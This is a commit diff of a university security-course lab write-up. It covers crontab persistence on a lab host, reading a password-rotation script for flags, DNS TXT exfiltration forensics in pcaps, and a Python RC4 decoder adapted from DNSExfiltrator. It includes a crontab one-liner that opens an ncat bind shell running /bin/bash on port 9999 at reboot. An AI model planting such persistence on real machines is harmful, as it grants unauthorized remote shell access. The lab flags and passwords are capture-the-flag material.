First thing we did was to have some persistence we added following line to crontab:
104+
105+
```
106+
(crontab -l ; echo "@reboot sleep 200 && ncat -l 9999 -k -c /bin/bash")|crontab 2> /dev/null
107+
```
108+
109+
Which will upon reboot spawn a shell acessible on port 9999.
110+
111+
After that, we explore more of what we can do. After a few minutes we stumble upon
112+
folder assignment07 under /home/user which contains script for the 7th assignment.
113+
In file password_rotator.sh we find whole script for the assignment from which we draw following conclusions:
114+
115+
1. The passwords that the user rotates are: "superman" "ironman" "batman" "4a7#mgannn2LDD90T#1fX#0Yx%m!kxrMSmUXd60xKwdM0S6u"
116+
117+
2. The file with second token is: /var/tmp/tokens/second_token.txt and it's content
118+
changes to following values: "Hysterical" "Spaghetti" "Floss" "Apparently"
119+
which together give the token for second part of the assignment: HystericalSpaghettiFlossApparently
120+
This token is also in the first comment in the script
121+
```
122+
#TOKEN:HystericalSpaghettiFlossApparently
123+
```
124+
125+
3. The flag server for second part of the assignment is 192.168.1.167:9453
126+
127+
4. On password rotation all ssh session to moriarty are killed so we won't be able
128+
to persist our ssh connection but we can definitely spawn a remote shell which shouldn't
129+
get killed by the script.
130+
131+
After looking into the /vat/tmp/tokens folder we find token and flag server for first part
132+
of the task as well. We try to submit both flags but flag for token for the part B doesn't
133+
work which we later get to know was unintentional.
134+
135+
136+
## 9. Data exfiltration techniques and their detection
137+
138+
In this goal our task is to detect and analyze exfiltration in pcap files.
139+
140+
### 9.a
141+
142+
Upon visually inspecting the pcap we see that there are some long DNS TXT record queries.
143+
We filtered those out using 'dns.txt' filter. Then we went to the flag server mentioned
144+
in task description on `192.168.1.167:8991`.
145+
146+
The server prompted as with several questions:
147+
148+
```
149+
What was the domain used for exfiltration? (input the last part of the subdomain and the TLD, e.g. google.com)
150+
```
151+
152+
The answer to this can be found by simply viewing the TXT queries. The domain ends
153+
with securitytesting.online and that is the answer.
154+
155+
```
156+
<Legolas> Which type of DNS record was used?
157+
```
158+
159+
As mentioned before the queries were of TXT type.
160+
161+
```
162+
<Legolas> How many queries were used for the exfiltration in total?
163+
```
164+
165+
The number of filtered out txt queries from INIT to last packet is 61.
166+
167+
After that we received our flag:
168+
169+
```
170+
<Legolas> Your friends are with you: BSY-FLAG-A09A-{...}
171+
```
172+
173+
### 9.b
174+
175+
In this task we see pcap of dns data exfiltration again. This time we know which tool
176+
was used [DNSExfiltrator](https://github.com/Arno0x/DNSExfiltrator) and we have the
177+
information that password 'pass' was used.
178+
179+
We again filtered the packets using `dns.txt` and copied out both packets that were
180+
used for exfiltration:
181+
182+
```
183+
init.ORSXG5BOOR4HI7BR.base64.securitytesting.online: type TXT, class IN
184+
```
185+
186+
and
187+
188+
```
189+
Name: 0.EIu3wCinsPK_RDCVv5d-28e2TU-Ec1BHT83QblPN3mOo-L1-dXVkSPod7iTczcQ.tlULhh7p_QqO-k4FtUQ56nkbgIOkTNePAkkDmEWAggVL7hEcLJpKORiesVBGsol.AEJgjlMn2JczQo6KGqUAJ4GtnaXI3YZW7uEel8fq0kjjJvQfVhtbHHKyx9bEhJO.zxhc39atS4.securitytesting.online
190+
```
191+
192+
We cloned the repository with DNSExfiltrator and modified the code a bit to decode our string with fix password
193+
without the need to run the whole process. After extracting the result zip file
194+
we get folder with one single file: test.txt with following content:
195+
196+
```
197+
lalalala
198+
passwords: jkgjhqgfwgefjh
199+
```
200+
201+
We then proceed to the flag server again, this time running on `192.168.1.167:8992`
202+
First question:
203+
204+
```
205+
<Gimli> What is the name of the exfiltrated file?
206+
```
207+
208+
we already know the answer, the extracted file is `test.txt`
209+
210+
```
211+
<Gimli> What is the password inside the file?
212+
```
213+
214+
Answer is in the file: `jkgjhqgfwgefjh`
215+
216+
Answering these two questions was enough to get the flag:
217+
218+
```
219+
<Gimli> Never thought I'd die fighting side by side with an Elf: BSY-FLAG-A09B-{...}
220+
```
221+
222+

‎BSY/task09/solve02.py

+139
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf8 -*-
3+
import argparse
4+
import socket
5+
from dnslib import *
6+
from base64 import b64decode, b32decode
7+
import sys
8+
9+
#======================================================================================================
10+
# HELPERS FUNCTIONS
11+
#======================================================================================================
12+
13+
#------------------------------------------------------------------------
14+
# Class providing RC4 encryption/decryption functions
15+
#------------------------------------------------------------------------
16+
class RC4:
17+
def __init__(self, key = None):
18+
self.state = range(256) # initialisation de la table de permutation
19+
self.x = self.y = 0 # les index x et y, au lieu de i et j
20+
21+
if key is not None:
22+
self.key = key
23+
self.init(key)
24+
25+
# Key schedule
26+
def init(self, key):
27+
for i in range(256):
28+
self.x = (ord(key[i % len(key)]) + self.state[i] + self.x) & 0xFF
29+
self.state[i], self.state[self.x] = self.state[self.x], self.state[i]
30+
self.x = 0
31+
32+
# Decrypt binary input data
33+
def binaryDecrypt(self, data):
34+
output = [None]*len(data)
35+
for i in range(len(data)):
36+
self.x = (self.x + 1) & 0xFF
37+
self.y = (self.state[self.x] + self.y) & 0xFF
38+
self.state[self.x], self.state[self.y] = self.state[self.y], self.state[self.x]
39+
output[i] = (data[i] ^ self.state[(self.state[self.x] + self.state[self.y]) & 0xFF])
40+
return bytearray(output)
41+
42+
#------------------------------------------------------------------------
43+
def progress(count, total, status=''):
44+
"""
45+
Print a progress bar - https://gist.github.com/vladignatyev/06860ec2040cb497f0f3
46+
"""
47+
bar_len = 60
48+
filled_len = int(round(bar_len * count / float(total)))
49+
50+
percents = round(100.0 * count / float(total), 1)
51+
bar = '=' * filled_len + '-' * (bar_len - filled_len)
52+
sys.stdout.write('[%s] %s%s\t%s\t\r' % (bar, percents, '%', status))
53+
sys.stdout.flush()
54+
55+
#------------------------------------------------------------------------
56+
def fromBase64URL(msg):
57+
msg = msg.replace('_','/').replace('-','+')
58+
if len(msg)%4 == 3:
59+
return b64decode(msg + '=')
60+
elif len(msg)%4 == 2:
61+
print(msg)
62+
return b64decode(msg + '==')
63+
else:
64+
return b64decode(msg)
65+
66+
#------------------------------------------------------------------------
67+
def fromBase32(msg):
68+
# Base32 decoding, we need to add the padding back
69+
# Add padding characters
70+
mod = len(msg) % 8
71+
if mod == 2:
72+
padding = "======"
73+
elif mod == 4:
74+
padding = "===="
75+
elif mod == 5:
76+
padding = "==="
77+
elif mod == 7:
78+
padding = "="
79+
else:
80+
padding = ""
81+
82+
return b32decode(msg.upper() + padding)
83+
84+
85+
#------------------------------------------------------------------------
86+
def color(string, color=None):
87+
"""
88+
Author: HarmJ0y, borrowed from Empire
89+
Change text color for the Linux terminal.
90+
"""
91+
92+
attr = []
93+
# bold
94+
attr.append('1')
95+
96+
if color:
97+
if color.lower() == "red":
98+
attr.append('31')
99+
elif color.lower() == "green":
100+
attr.append('32')
101+
elif color.lower() == "blue":
102+
attr.append('34')
103+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
104+
105+
else:
106+
if string.strip().startswith("[!]"):
107+
attr.append('31')
108+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
109+
elif string.strip().startswith("[+]"):
110+
attr.append('32')
111+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
112+
elif string.strip().startswith("[?]"):
113+
attr.append('33')
114+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
115+
elif string.strip().startswith("[*]"):
116+
attr.append('34')
117+
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
118+
else:
119+
return string
120+
121+
#======================================================================================================
122+
# MAIN FUNCTION
123+
#======================================================================================================
124+
if __name__ == '__main__':
125+
password = 'pass'
126+
outputFileName = "out.zip"
127+
try:
128+
# Create and initialize the RC4 decryptor object
129+
rc4Decryptor = RC4(password)
130+
131+
# Save data to a file
132+
print(color("[+] Decrypting using password [{}] and saving to output file [{}]".format(password, outputFileName)))
133+
with open(outputFileName, 'wb+') as fileHandle:
134+
fileHandle.write(rc4Decryptor.binaryDecrypt(bytearray(fromBase64URL(
135+
"EIu3wCinsPK_RDCVv5d-28e2TU-Ec1BHT83QblPN3mOo-L1-dXVkSPod7iTczcQ.tlULhh7p_QqO-k4FtUQ56nkbgIOkTNePAkkDmEWAggVL7hEcLJpKORiesVBGsol.AEJgjlMn2JczQo6KGqUAJ4GtnaXI3YZW7uEel8fq0kjjJvQfVhtbHHKyx9bEhJO.zxhc39atS4".replace('.','')))))
136+
fileHandle.close()
137+
print(color("[+] Output file [{}] saved successfully".format(outputFileName)))
138+
except IOError:
139+
print(color("[!] Could not write file [{}]".format(outputFileName)))

‎BSY/task09/test.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
lalalala
2+
passwords: jkgjhqgfwgefjh

0 commit comments

Comments
 (0)
Please sign in to comment.